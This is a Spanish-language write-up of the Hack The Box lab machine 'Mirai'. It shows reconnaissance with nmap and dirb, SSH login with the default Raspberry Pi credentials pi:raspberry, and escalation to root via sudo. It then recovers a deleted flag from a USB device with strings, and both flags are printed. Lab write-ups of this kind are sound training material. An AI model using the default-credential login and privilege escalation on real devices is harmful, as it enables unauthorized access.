Enumeración

Escaneo de puertos con Nmap

nmap -sC -sV -o nmap.txt 10.10.10.48
Nmap scan report for 10.10.10.48
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap nos devuelve que tiene tres servicios abiertos: SSH, DNSMASQ y HTTP.

Búsqueda de directorios con Dirb

dirb http://10.10.10.48/
—————–
DIRB v2.22
By The Dark Raver
—————–

START_TIME: Wed Feb 20 10:40:22 2019
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

—————–

GENERATED WORDS: 4612

—- Scanning URL: http://10.10.10.48/ —-
==> DIRECTORY: http://10.10.10.48/admin/

Dirb encuentra el directorio /admin, al acceder encontramos una aplicación web llamada Pi-hole, después de realizar una breve investigación en Google vemos que consiste en una aplicación de bloqueo de publicidad y de rastreadores en Internet utilizada en Raspberry Pi.

Explotación

Al ver que está máquina correspondía a una Raspberry Pi y que el servicio SSH estaba levantado la primera idea fue probar contraseñas por defecto de Raspberry Pi. Para ello simplemente hay que buscar en Google “default password raspberry” y en la documentación oficial aparecían las siguientes credenciales: pi:raspberry. Vamos a probar si funcionan en SSH:

root@kali:~/htb/Mirai# ssh pi@10.10.10.48
pi@10.10.10.48’s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 20 15:36:00 2019 from 10.10.14.11

SSH is enabled and the default password for the ‘pi’ user has not been changed.
This is a security risk – please login as the ‘pi’ user and type ‘passwd’ to set a new password.

SSH is enabled and the default password for the ‘pi’ user has not been changed.
This is a security risk – please login as the ‘pi’ user and type ‘passwd’ to set a new password.

pi@raspberrypi:~ $ cat Desktop/user.txt
ff837707441b257a20e32199d7c8838d

Listo, ya hemos obtenido user.txt, vamos a por root.

Escalación de privilegios

root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick…

Al realizar “sudo -i” obtenemos root automáticamente, pero al realizar un “cat” a root.txt nos dice que ha perdido el archivo y que podría estar en un pendrive.
Vamos a utilizar el comando “df” para listar los diferentes discos de la máquina y su tamaño en bloques:

root@raspberrypi:~# df
Filesystem 1K-blocks Used Available Use% Mounted on
aufs 8856504 2840652 5542920 34% /
tmpfs 102408 8960 93448 9% /run
/dev/sda1 1354528 1354528 0 100% /lib/live/mount/persistence/sda1
/dev/loop0 1267456 1267456 0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs 256020 0 256020 0% /lib/live/mount/overlay
/dev/sda2 8856504 2840652 5542920 34% /lib/live/mount/persistence/sda2
devtmpfs 10240 0 10240 0% /dev
tmpfs 256020 8 256012 1% /dev/shm
tmpfs 5120 4 5116 1% /run/lock
tmpfs 256020 0 256020 0% /sys/fs/cgroup
tmpfs 256020 10252 245768 5% /tmp
/dev/sdb 8887 93 8078 2% /media/usbstick
tmpfs 51204 0 51204 0% /run/user/999
tmpfs 51204 0 51204 0% /run/user/1000

/media/usbstick es muy llamativo, vamos a ver que encontramos en esta ruta:

root@raspberrypi:~# cd /media/usbstick
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Al acceder a la ruta /media/usbstick encontramos un archivo de texto llamado “damnit.txt”, este nos indica que diferentes archivos fueron eliminados del pendrive y si tenemos una solución para recuperarlos.
Para terminar esta máquina simplemente lanzamos un “strings” a /dev/sdb:

root@raspberrypi:~# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

La flag de root.txt es “3d3e483143ff12ec505d026fa13e020b”.

¿Me ayudas a compartirlo?
Última modificación: 20 junio 2019

Autor

Comentarios

Comenta o responde a los comentarios

Tu dirección de correo no será publicada.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.